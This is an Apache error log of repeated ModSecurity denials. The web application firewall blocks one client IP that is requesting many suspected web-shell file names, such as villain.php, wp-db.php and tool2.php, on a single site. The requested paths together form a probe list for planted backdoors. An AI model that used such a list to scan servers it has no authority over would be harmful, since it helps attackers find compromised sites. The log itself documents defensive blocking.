[Wed Apr 08 20:49:58.871511 2026] [:error] [pid 12385:tid 12400] [client 68.221.129.52:52910] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adZO9iAjtvRQEkLosq2eQAAAAAs"]
[Wed Apr 08 20:49:59.487172 2026] [:error] [pid 12490:tid 12508] [client 68.221.129.52:40336] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adZO921Fea4F4fbumr0AdgAAANA"]
[Wed Apr 08 20:50:00.129283 2026] [:error] [pid 12386:tid 12440] [client 68.221.129.52:57725] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adZO-BLhhLtqHi2gK7UY7AAAARg"]
[Wed Apr 08 20:50:00.800373 2026] [:error] [pid 7047:tid 7059] [client 68.221.129.52:41635] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-22.php"] [unique_id "adZO-ONh3oGO3pKiCzwWFQAAAYo"]
[Wed Apr 08 20:50:01.378965 2026] [:error] [pid 35642:tid 35655] [client 68.221.129.52:52890] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-22.php"] [unique_id "adZO-Q-CqryxdEs5DN9aHwAAAEs"]
[Wed Apr 08 20:50:02.012422 2026] [:error] [pid 12453:tid 12473] [client 68.221.129.52:57676] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-22.php"] [unique_id "adZO-hjtW7S6XsLPvrQqngAAAJI"]
[Wed Apr 08 20:50:02.744792 2026] [:error] [pid 12453:tid 12477] [client 68.221.129.52:46516] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-22.php"] [unique_id "adZO-hjtW7S6XsLPvrQqogAAAJY"]
[Wed Apr 08 20:50:03.676964 2026] [:error] [pid 7189:tid 7209] [client 68.221.129.52:46467] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/villain.php"] [unique_id "adZO-xaBqhBSu0L37lrTAgAAAdI"]
[Wed Apr 08 20:50:04.340812 2026] [:error] [pid 35642:tid 35659] [client 68.221.129.52:57677] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/villain.php"] [unique_id "adZO_A-CqryxdEs5DN9aIAAAAE8"]
[Wed Apr 08 20:50:04.971810 2026] [:error] [pid 12453:tid 12470] [client 68.221.129.52:40381] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/villain.php"] [unique_id "adZO_BjtW7S6XsLPvrQqpQAAAI8"]
[Wed Apr 08 20:50:05.648682 2026] [:error] [pid 64066:tid 64092] [client 68.221.129.52:41624] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/villain.php"] [unique_id "adZO_VR3WucJgr2vZGY9wwAAAVc"]
[Wed Apr 08 20:50:06.229969 2026] [:error] [pid 12386:tid 12424] [client 68.221.129.52:54699] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-db.php"] [unique_id "adZO_hLhhLtqHi2gK7UY8AAAAQg"]
[Wed Apr 08 20:50:06.958109 2026] [:error] [pid 12386:tid 12419] [client 68.221.129.52:54711] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-db.php"] [unique_id "adZO_hLhhLtqHi2gK7UY8wAAAQM"]
[Wed Apr 08 20:50:07.824655 2026] [:error] [pid 64066:tid 64083] [client 68.221.129.52:33770] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-db.php"] [unique_id "adZO_1R3WucJgr2vZGY9xgAAAU4"]
[Wed Apr 08 20:50:08.372623 2026] [:error] [pid 12453:tid 12463] [client 68.221.129.52:46491] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-db.php"] [unique_id "adZPABjtW7S6XsLPvrQqqAAAAIg"]
[Wed Apr 08 20:50:09.012299 2026] [:error] [pid 12453:tid 12474] [client 68.221.129.52:46490] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/red.php"] [unique_id "adZPARjtW7S6XsLPvrQqqgAAAJM"]
[Wed Apr 08 20:50:09.796252 2026] [:error] [pid 12385:tid 12413] [client 68.221.129.52:33772] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/red.php"] [unique_id "adZPASAjtvRQEkLosq2eQgAAABg"]
[Wed Apr 08 20:50:10.693599 2026] [:error] [pid 12490:tid 12492] [client 68.221.129.52:46466] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/red.php"] [unique_id "adZPAm1Fea4F4fbumr0AhgAAAMA"]
[Wed Apr 08 20:50:11.327218 2026] [:error] [pid 12453:tid 12465] [client 68.221.129.52:57685] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/red.php"] [unique_id "adZPAxjtW7S6XsLPvrQqrQAAAIo"]
[Wed Apr 08 20:50:12.014839 2026] [:error] [pid 12453:tid 12461] [client 68.221.129.52:57664] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "adZPBBjtW7S6XsLPvrQqrwAAAIY"]
[Wed Apr 08 20:50:12.685428 2026] [:error] [pid 12386:tid 12426] [client 68.221.129.52:57699] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "adZPBBLhhLtqHi2gK7UY9gAAAQo"]
[Wed Apr 08 20:50:13.353418 2026] [:error] [pid 12453:tid 12470] [client 68.221.129.52:54666] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "adZPBRjtW7S6XsLPvrQqsAAAAI8"]
[Wed Apr 08 20:50:14.524078 2026] [:error] [pid 12386:tid 12418] [client 68.221.129.52:40351] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "adZPBhLhhLtqHi2gK7UY-AAAAQI"]
[Wed Apr 08 20:50:15.385695 2026] [:error] [pid 35642:tid 35647] [client 68.221.129.52:40376] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "adZPBw-CqryxdEs5DN9aJwAAAEM"]
[Wed Apr 08 20:50:16.032254 2026] [:error] [pid 12386:tid 12435] [client 68.221.129.52:46465] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "adZPCBLhhLtqHi2gK7UY-gAAARM"]
[Wed Apr 08 20:50:16.661289 2026] [:error] [pid 12386:tid 12431] [client 68.221.129.52:33782] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "adZPCBLhhLtqHi2gK7UY-wAAAQ8"]
[Wed Apr 08 20:50:17.389976 2026] [:error] [pid 64066:tid 64091] [client 68.221.129.52:48967] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "adZPCVR3WucJgr2vZGY9zgAAAVY"]
[Wed Apr 08 20:50:18.008372 2026] [:error] [pid 12453:tid 12478] [client 68.221.129.52:52902] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uxijj.php"] [unique_id "adZPChjtW7S6XsLPvrQquAAAAJc"]
[Wed Apr 08 20:50:18.918518 2026] [:error] [pid 7189:tid 7198] [client 68.221.129.52:46514] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uxijj.php"] [unique_id "adZPChaBqhBSu0L37lrTFAAAAcc"]
[Wed Apr 08 20:50:19.509301 2026] [:error] [pid 64066:tid 64087] [client 68.221.129.52:52904] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uxijj.php"] [unique_id "adZPC1R3WucJgr2vZGY9zwAAAVI"]
[Wed Apr 08 20:50:20.036047 2026] [:error] [pid 12453:tid 12458] [client 68.221.129.52:41604] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uxijj.php"] [unique_id "adZPDBjtW7S6XsLPvrQqvgAAAIM"]
[Wed Apr 08 20:50:20.606535 2026] [:error] [pid 12490:tid 12511] [client 68.221.129.52:54706] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "adZPDG1Fea4F4fbumr0AkwAAANM"]
[Wed Apr 08 20:50:21.300922 2026] [:error] [pid 12386:tid 12416] [client 68.221.129.52:46536] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "adZPDRLhhLtqHi2gK7UY_AAAAQA"]
[Wed Apr 08 20:50:21.884750 2026] [:error] [pid 12490:tid 12513] [client 68.221.129.52:41651] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "adZPDW1Fea4F4fbumr0AlwAAANU"]
[Wed Apr 08 20:50:22.411779 2026] [:error] [pid 12386:tid 12423] [client 68.221.129.52:33777] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "adZPDhLhhLtqHi2gK7UY_QAAAQc"]
[Wed Apr 08 20:50:22.958117 2026] [:error] [pid 12385:tid 12402] [client 68.221.129.52:57709] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool2.php"] [unique_id "adZPDiAjtvRQEkLosq2eSwAAAA0"]
[Wed Apr 08 20:50:23.535310 2026] [:error] [pid 12386:tid 12424] [client 68.221.129.52:34989] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool2.php"] [unique_id "adZPDxLhhLtqHi2gK7UY_gAAAQg"]
[Wed Apr 08 20:50:24.071108 2026] [:error] [pid 35642:tid 35644] [client 68.221.129.52:40383] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool2.php"] [unique_id "adZPEA-CqryxdEs5DN9aLQAAAEA"]
[Wed Apr 08 20:50:24.654114 2026] [:error] [pid 7047:tid 7061] [client 68.221.129.52:46503] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool2.php"] [unique_id "adZPEONh3oGO3pKiCzwWHAAAAYw"]
[Wed Apr 08 20:50:25.315154 2026] [:error] [pid 12453:tid 12461] [client 68.221.129.52:46479] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zjllx.php"] [unique_id "adZPERjtW7S6XsLPvrQqvwAAAIY"]
[Wed Apr 08 20:50:25.915456 2026] [:error] [pid 64066:tid 64081] [client 68.221.129.52:46542] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zjllx.php"] [unique_id "adZPEVR3WucJgr2vZGY90wAAAUw"]
[Wed Apr 08 20:50:26.511049 2026] [:error] [pid 7189:tid 7215] [client 68.221.129.52:46585] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zjllx.php"] [unique_id "adZPEhaBqhBSu0L37lrTHAAAAdg"]
[Wed Apr 08 20:50:27.130408 2026] [:error] [pid 7189:tid 7193] [client 68.221.129.52:33784] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zjllx.php"] [unique_id "adZPExaBqhBSu0L37lrTHwAAAcI"]
[Wed Apr 08 20:50:27.714906 2026] [:error] [pid 7189:tid 7214] [client 68.221.129.52:46496] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "adZPExaBqhBSu0L37lrTIQAAAdc"]
[Wed Apr 08 20:50:28.311759 2026] [:error] [pid 12386:tid 12421] [client 68.221.129.52:41658] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "adZPFBLhhLtqHi2gK7UZAQAAAQU"]
[Wed Apr 08 20:50:28.912282 2026] [:error] [pid 7047:tid 7062] [client 68.221.129.52:40354] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "adZPFONh3oGO3pKiCzwWIQAAAY0"]
[Wed Apr 08 20:50:29.466655 2026] [:error] [pid 7047:tid 7059] [client 68.221.129.52:40361] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "adZPFeNh3oGO3pKiCzwWJAAAAYo"]
[Wed Apr 08 20:50:30.071340 2026] [:error] [pid 7189:tid 7192] [client 68.221.129.52:40346] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "adZPFhaBqhBSu0L37lrTIwAAAcE"]
[Wed Apr 08 20:50:30.714284 2026] [:error] [pid 12453:tid 12466] [client 68.221.129.52:54682] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "adZPFhjtW7S6XsLPvrQqxAAAAIs"]
[Wed Apr 08 20:50:38.788322 2026] [:error] [pid 12386:tid 12421] [client 68.221.129.52:52907] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccu.php"] [unique_id "adZPHhLhhLtqHi2gK7UZEgAAAQU"]
[Wed Apr 08 20:50:39.323284 2026] [:error] [pid 12453:tid 12468] [client 68.221.129.52:46549] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccu.php"] [unique_id "adZPHxjtW7S6XsLPvrQq2gAAAI0"]
[Wed Apr 08 20:50:39.863331 2026] [:error] [pid 35642:tid 35666] [client 68.221.129.52:40334] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccu.php"] [unique_id "adZPHw-CqryxdEs5DN9aMwAAAFY"]
[Wed Apr 08 20:50:40.405547 2026] [:error] [pid 7047:tid 7071] [client 68.221.129.52:33739] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccu.php"] [unique_id "adZPIONh3oGO3pKiCzwWSwAAAZY"]
[Wed Apr 08 20:50:40.958748 2026] [:error] [pid 12386:tid 12440] [client 68.221.129.52:41630] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "adZPIBLhhLtqHi2gK7UZEwAAARg"]
[Wed Apr 08 20:50:41.500935 2026] [:error] [pid 7047:tid 7062] [client 68.221.129.52:52905] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "adZPIeNh3oGO3pKiCzwWTgAAAY0"]
[Wed Apr 08 20:50:42.045487 2026] [:error] [pid 12453:tid 12455] [client 68.221.129.52:40378] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "adZPIhjtW7S6XsLPvrQq3wAAAIA"]
